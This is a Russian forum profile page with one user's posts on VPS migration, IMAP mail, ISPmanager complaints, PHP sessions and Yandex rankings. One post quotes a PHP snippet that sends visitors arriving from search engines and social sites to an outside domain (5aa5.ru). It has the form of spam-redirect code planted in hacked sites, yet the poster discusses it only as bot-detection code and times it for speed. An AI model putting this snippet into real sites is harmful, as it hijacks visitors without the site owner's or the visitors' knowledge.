Kaavain

Kaavain
Рейтинг
175
Регистрация
28.07.2015
Mik Foxi #:
никогда небыло и нету проблемы. архивируете файлы сайта, архивируете дамп базы. Переносите. Все. Сложностей вообще ноль.

Если бы. Переезжал раза 3 за 18 лет... 

1. Настройки всяческие mysql, nginx и прочая. Ну ладно, не так критично, можно в процессе настроить.

2. 10/10 по mailtester я каждый раз добиваюсь совсем не сразу, приходится возиться.

3. Что меня сейчас больше всего удручает - imap ящики почтовые, где у меня лежат важные письма начиная с лохматых годов... Что-то на локальной в архиве аутлука, да, но многие в imap... Можно ли тупо скопировать /.maildir в exim???

Последний раз я переезжал, когда ihor резко умер, там уже было не да перфекционизма, поэтому даже не помню, как прошло - был счастлив что бэкап был удаленный и 24 часа давностью... Да и переехал - опять же будь проклят этот ISPmanager, на него же - тупо развернув бэкап... Кстати, похоже в нем же и почта была....

LEOnidUKG #:
а точно ли надо стартовать сессию для каждого захода

Да конечно - нет. Но сайту 18 лет, написан но с использованием register_globals и в сессии хранятся много чего - включая языковые переменные. По-хорошему, конечно же, переделать надо. Но работает и хорошо работает, фигли лезть. Только вот с сессиями заморочки, но решаемые же.

Может он и отличный. Но для 90% избыточный и бесполезный. 
Кого в Гугле не забанили - найдет целые простыни, где спецы доходчиво объясняют, почему ISPmanager - отстой. 
И при этом очень грязно играют, если бы переход на другую панель не был таким муторным, то ветром сдуло бы с них спесь. 
И все помнят их кидок с вечными лицензиями? Опять же - поищите как красиво людей надули, в Гугле много этого. 

Обратите внимание, как топят за него продаваны, и как мало защитников среди юзеров. Это и есть вся правда про ISPmanager. 
Виктор Горняков #:
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://5aa5.ru");
exit(); } } }}

Гложат меня смутные сомнения...

1. У меня в худшем случае 3 вызова stripos , а в твоем примере 17 вызовов stristr, который по версии стековерфлоу еще и медленнее. На 10%, но все же.

2. Я исхожу из предположения, что юзерагенты ботов содержат "bot", а юзерагенты юзеров НЕ содержат, и в свое время нашел одного отщепенца "Slurp", вот теперь похоже еще один "crawler".

Мой метод проще и быстрее, или я не прав?

Vladimir #:
Так, думаешь с СЧ и НЧ у тебя все нормально?

До сентября даже +купить в яндексе было топ-10, теперь в ж.

НЧ у меня все шоколадно, так как у меня 7000 товаров моей ниши, а у самого наикрутейшего конкурента (причем он даже не в России) - 2500. Поэтому любой запрос [мой товар] + [конкретика] с вероятностью 99% мой. По СЧ тоже нормально типа [мой товар] + [подкатегория] ТОП 3-10...

Я, правда, давно подозреваю, что ВЧ бессмысленно, никто так не ищет. Началось это лет 10 назад, с появлением поисковых подсказок...

Vladimir #:
в Яндексе есть еще один фактор влияющий на релевантеость - каннибализация.

Прочел что это... НУ а как мне быть? У меня 7000 товаров и все одного типа. 

Vladimir #:
для главного запроса в Яндексе имеем в выдаче внутреннюю страницу

Ты проверял или догадался? :-)

На самом деле в Я по ВЧ всю дорогу была главная либо первая каталога (что, как мне кажется, вернее). А потом пошел расколбас. При этом техническое качество я только улучшал (в частности - очень сильно год назад прибил дубли).

Как я вижу, бороться с этим могут только те, кому домен не важен. Я же не могу рисковать им - сменить не удастся. По ВЧ, правда, все равно хуже некуда. Но есть же гугл, и по НЧ - все мои. 

Vladimir #:
Насколько они соответствуют твоим расчетам и продвижению

Если честно, я никогда не "продвигал". Я, как велит нам Великий и Ужасный яндекс - делал всегда "для людей", плюс технически старался все правильно сделать (дубли, мета, размерка, скорость, 404 всякие и проч). За что и поплатился.

Да и наблюдение за Гуглом показывает - там все стабильно, как много лет назад, только разбавлено новорожденными "конкурентами" которые именно "продвигаются". А в яндексе - необъяснимое (если верить сказкам платонов, конечно).

MrGray #:
Для настройки и поддержания любого vds в рабочем состоянии

Поправка: однажды нормально настроенный, может существовать очень долго без вмешательства. Так что "поддержание" не требуется. Даже без перезагрузки - годами работает.

Не надо быть готовым "постоянно оплачивать", если готов разобраться сам (и далее - не забанили на стековерфлоу и в саппорте хостинга).

ispmanager_admin #:

Не признаем. По той простой причине, что мы давным давно не продаём лицензии на 5 версию. Можно только продлить старую срочную, если она в данный момент стоит на устаревшей ОС.

Мы лояльны к нашим пользователям - мы не форсим переезжать на 6-ую версию тех, для кого это будет слишком сложно.

Для тех, кто мог обновиться (сидел на актуальных ОС) - были доступны обновления до 6-ой версии в 1 клик.

Отрицать очевидное - отличный подход, когда возразить нечего. Я всего лишь процитировал прайс-лист моего хостинг-провайдера.

Короче резюме таково - слезть с иглы ISPmanager непросто, вариант всего один - запускать второй VPS и на нем все настраивать и потом переносить. Придется так и поступать.

Вновь обустраивающимся на VPS наука - воздержитесь от необдуманных решений. 

Всего: 1291